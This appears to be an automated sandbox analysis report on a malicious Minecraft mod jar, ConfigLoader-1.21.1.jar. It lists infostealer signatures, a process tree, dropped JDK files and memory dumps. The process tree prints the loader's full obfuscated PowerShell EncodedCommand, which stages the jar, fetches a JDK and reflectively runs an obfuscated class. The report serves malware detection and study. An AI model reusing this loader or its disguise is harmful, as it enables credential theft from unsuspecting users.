Analysis
- user interaction
yes - max time kernel
1799s - max time network
1774s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
09/10/2026, 21:34
General
- Target overrides/mods/ConfigLoader-1.21.1.jar
- Size 796KB
- Sample261009-1e49bswt7p
- SHA256 cacf3b10e12d0863141a8b6c4751c0a9c228b3f2e499163158c58559206c771f
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 13 IoCs
- Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c set "J=C:\Users\Admin\AppData\Local\Temp\overrides\mods\ConfigLoader-1.21.1.jar" && powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAQwBvAG4AdABpAG4AdQBlACcACgAkAHcAPQAiACQAZQBuAHYAOgBUAEUATQBQAFwAbQBwACIAOwAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQAgACQAdwAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgBDAG8AcAB5AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBKACAAIgAkAHcAXABtAG8AZAAuAGoAYQByACIAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgACIAJAB3AFwATABhAHUAbgBjAGgALgBqAGEAdgBhACIAIAAnAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATABhAHUAbgBjAGgAewBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAdgBvAGkAZAAgAG0AYQBpAG4AKABTAHQAcgBpAG4AZwBbAF0AIABhACkAdABoAHIAbwB3AHMAIABFAHgAYwBlAHAAdABpAG8AbgB7AEMAbABhAHMAcwA8AD8APgAgAGMAPQBDAGwAYQBzAHMALgBmAG8AcgBOAGEAbQBlACgAIgBtAG8AagBhAG4AZwAuAEkAbABpAEkAbABsAGwAaQBsAEkAaQAuAGwAaQBpAGkASQBJAGwAbABJAGwALgBpAEkAbABJAGwAbABsAGwAbABpAGwAbAAuAGwAaQBpAGkASQBJAGwAbABJAGwAIgApADsAagBhAHYAYQAuAGwAYQBuAGcALgByAGUAZgBsAGUAYwB0AC4ATQBlAHQAaABvAGQAIABtAD0AYwAuAGcAZQB0AEQAZQBjAGwAYQByAGUAZABNAGUAdABoAG8AZAAoACIASQBsAGkASQBsAGwAbABpAGwASQBpACIAKQA7AG0ALgBzAGUAdABBAGMAYwBlAHMAcwBpAGIAbABlACgAdAByAHUAZQApADsAdAByAHkAewBtAC4AaQBuAHYAbwBrAGUAKABuAHUAbABsACkAOwB9AGMAYQB0AGMAaAAoAFQAaAByAG8AdwBhAGIAbABlACAAdAApAHsAdAAuAHAAcgBpAG4AdABTAHQAYQBjAGsAVAByAGEAYwBlACgAKQA7AH0AVABoAHIAZQBhAGQALgBzAGwAZQBlAHAAKAAzADAAMAAwADAAMAApADsAfQB9ACcACgAkAGoAYQB2AGEAPQAoAEcAZQB0AC0AQwBvAG0AbQBhAG4AZAAgAGoAYQB2AGEAIAAtAEUAQQAgADAAKQAuAFMAbwB1AHIAYwBlAAoAJAB2AD0AIABpAGYAKAAkAGoAYQB2AGEAKQB7ACAAJgAgAGMAbQBkACAALwBjACAAIgBgACIAJABqAGEAdgBhAGAAIgAgAC0AdgBlAHIAcwBpAG8AbgAgADIAPgAmADEAIgAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAfQAgAGUAbABzAGUAIAB7ACAAJwAnACAAfQAKAGkAZgAoAC0AbgBvAHQAIAAoACQAdgAgAC0AbQBhAHQAYwBoACAAJwB2AGUAcgBzAGkAbwBuACAAIgAyAFsAMQAtADkAXQAnACkAKQB7AAoAIAAgAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQAnAFQAbABzADEAMgAnAAoAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACcAaAB0AHQAcABzADoALwAvAGEAcABpAC4AYQBkAG8AcAB0AGkAdQBtAC4AbgBlAHQALwB2ADMALwBiAGkAbgBhAHIAeQAvAGwAYQB0AGUAcwB0AC8AMgAxAC8AZwBhAC8AdwBpAG4AZABvAHcAcwAvAHgANgA0AC8AagBkAGsALwBoAG8AdABzAHAAbwB0AC8AbgBvAHIAbQBhAGwALwBlAGMAbABpAHAAcwBlACcAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAdwBcAGoAZABrAC4AegBpAHAAIgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcACgAgACAARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAIgAkAHcAXABqAGQAawAuAHoAaQBwACIAIAAiACQAdwBcAGoAZABrACIAIAAtAEYAbwByAGMAZQAKACAAIAAkAGoAYQB2AGEAPQAoAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAiACQAdwBcAGoAZABrACIAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAaQBsAHQAZQByACAAagBhAHYAYQAuAGUAeABlACAAfAAgAFMAZQBsAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxACkALgBGAHUAbABsAE4AYQBtAGUAIAB9AAoAUwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AIAAkAHcACgAmACAAJABqAGEAdgBhACAALQBjAHAAIABtAG8AZAAuAGoAYQByACAATABhAHUAbgBjAGgALgBqAGEAdgBhAAoA1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAQwBvAG4AdABpAG4AdQBlACcACgAkAHcAPQAiACQAZQBuAHYAOgBUAEUATQBQAFwAbQBwACIAOwAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQAgACQAdwAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgBDAG8AcAB5AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBKACAAIgAkAHcAXABtAG8AZAAuAGoAYQByACIAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgACIAJAB3AFwATABhAHUAbgBjAGgALgBqAGEAdgBhACIAIAAnAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATABhAHUAbgBjAGgAewBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAdgBvAGkAZAAgAG0AYQBpAG4AKABTAHQAcgBpAG4AZwBbAF0AIABhACkAdABoAHIAbwB3AHMAIABFAHgAYwBlAHAAdABpAG8AbgB7AEMAbABhAHMAcwA8AD8APgAgAGMAPQBDAGwAYQBzAHMALgBmAG8AcgBOAGEAbQBlACgAIgBtAG8AagBhAG4AZwAuAEkAbABpAEkAbABsAGwAaQBsAEkAaQAuAGwAaQBpAGkASQBJAGwAbABJAGwALgBpAEkAbABJAGwAbABsAGwAbABpAGwAbAAuAGwAaQBpAGkASQBJAGwAbABJAGwAIgApADsAagBhAHYAYQAuAGwAYQBuAGcALgByAGUAZgBsAGUAYwB0AC4ATQBlAHQAaABvAGQAIABtAD0AYwAuAGcAZQB0AEQAZQBjAGwAYQByAGUAZABNAGUAdABoAG8AZAAoACIASQBsAGkASQBsAGwAbABpAGwASQBpACIAKQA7AG0ALgBzAGUAdABBAGMAYwBlAHMAcwBpAGIAbABlACgAdAByAHUAZQApADsAdAByAHkAewBtAC4AaQBuAHYAbwBrAGUAKABuAHUAbABsACkAOwB9AGMAYQB0AGMAaAAoAFQAaAByAG8AdwBhAGIAbABlACAAdAApAHsAdAAuAHAAcgBpAG4AdABTAHQAYQBjAGsAVAByAGEAYwBlACgAKQA7AH0AVABoAHIAZQBhAGQALgBzAGwAZQBlAHAAKAAzADAAMAAwADAAMAApADsAfQB9ACcACgAkAGoAYQB2AGEAPQAoAEcAZQB0AC0AQwBvAG0AbQBhAG4AZAAgAGoAYQB2AGEAIAAtAEUAQQAgADAAKQAuAFMAbwB1AHIAYwBlAAoAJAB2AD0AIABpAGYAKAAkAGoAYQB2AGEAKQB7ACAAJgAgAGMAbQBkACAALwBjACAAIgBgACIAJABqAGEAdgBhAGAAIgAgAC0AdgBlAHIAcwBpAG8AbgAgADIAPgAmADEAIgAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAfQAgAGUAbABzAGUAIAB7ACAAJwAnACAAfQAKAGkAZgAoAC0AbgBvAHQAIAAoACQAdgAgAC0AbQBhAHQAYwBoACAAJwB2AGUAcgBzAGkAbwBuACAAIgAyAFsAMQAtADkAXQAnACkAKQB7AAoAIAAgAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQAnAFQAbABzADEAMgAnAAoAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACcAaAB0AHQAcABzADoALwAvAGEAcABpAC4AYQBkAG8AcAB0AGkAdQBtAC4AbgBlAHQALwB2ADMALwBiAGkAbgBhAHIAeQAvAGwAYQB0AGUAcwB0AC8AMgAxAC8AZwBhAC8AdwBpAG4AZABvAHcAcwAvAHgANgA0AC8AagBkAGsALwBoAG8AdABzAHAAbwB0AC8AbgBvAHIAbQBhAGwALwBlAGMAbABpAHAAcwBlACcAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAdwBcAGoAZABrAC4AegBpAHAAIgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcACgAgACAARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAIgAkAHcAXABqAGQAawAuAHoAaQBwACIAIAAiACQAdwBcAGoAZABrACIAIAAtAEYAbwByAGMAZQAKACAAIAAkAGoAYQB2AGEAPQAoAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAiACQAdwBcAGoAZABrACIAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAaQBsAHQAZQByACAAagBhAHYAYQAuAGUAeABlACAAfAAgAFMAZQBsAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxACkALgBGAHUAbABsAE4AYQBtAGUAIAB9AAoAUwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AIAAkAHcACgAmACAAJABqAGEAdgBhACAALQBjAHAAIABtAG8AZAAuAGoAYQByACAATABhAHUAbgBjAGgALgBqAGEAdgBhAAoA2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe" -version 2>&1"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe"C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe" -version4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\mp\jdk\jdk-21.0.12.1+1\bin\java.exe"C:\Users\Admin\AppData\Local\Temp\mp\jdk\jdk-21.0.12.1+1\bin\java.exe" -cp mod.jar Launch.java3⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_drxnk0wm.ixm.psm1
Launch.java
VCRUNTIME140.dll
extnet.dll
java.dll
java.exe
jimage.dll
jli.dll
jsvml.dll
msvcp140.dll
net.dll
nio.dll
classes.jsa
jvm.dll
sunmscapi.dll
vcruntime140_1.dll
zip.dll
net.properties
java.security
default_US_export.policy
default_local.policy
ADDITIONAL_LICENSE_INFO
ASSEMBLY_EXCEPTION
LICENSE
jvm.cfg
blocked.certs
cacerts
public_suffix_list.dat
tzdb.dat
tzmappings
release
bundle.tmp
memory/5724-30-0x000001BCD1970000-0x000001BCD1971000-memory.dmp
memory/5724-21-0x000001BCD33B0000-0x000001BCD3620000-memory.dmp
memory/5724-32-0x000001BCD33B0000-0x000001BCD3620000-memory.dmp
memory/5844-16-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-8-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-0-0x00007FFF15F2F000-0x00007FFF15F30000-memory.dmp
memory/5844-18-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-17-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-37-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-14-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-13-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-12-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-35-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-11-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-10-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-9-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-34-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-7-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-47-0x0000023EA1DB0000-0x0000023EA1DBA000-memory.dmp
memory/5844-46-0x0000023EA1E80000-0x0000023EA1E92000-memory.dmp
memory/5844-6-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-45-0x0000023EA1E80000-0x0000023EA1E8A000-memory.dmp
memory/5844-5-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-4-0x0000023EA17F0000-0x0000023EA1812000-memory.dmp
memory/5844-3-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-44-0x0000023EA1DC0000-0x0000023EA1E72000-memory.dmp
memory/5844-43-0x0000023EA1DA0000-0x0000023EA1DBE000-memory.dmp
memory/5844-36-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp
memory/5844-1149-0x00007FFF15DA0000-0x00007FFF16744000-memory.dmp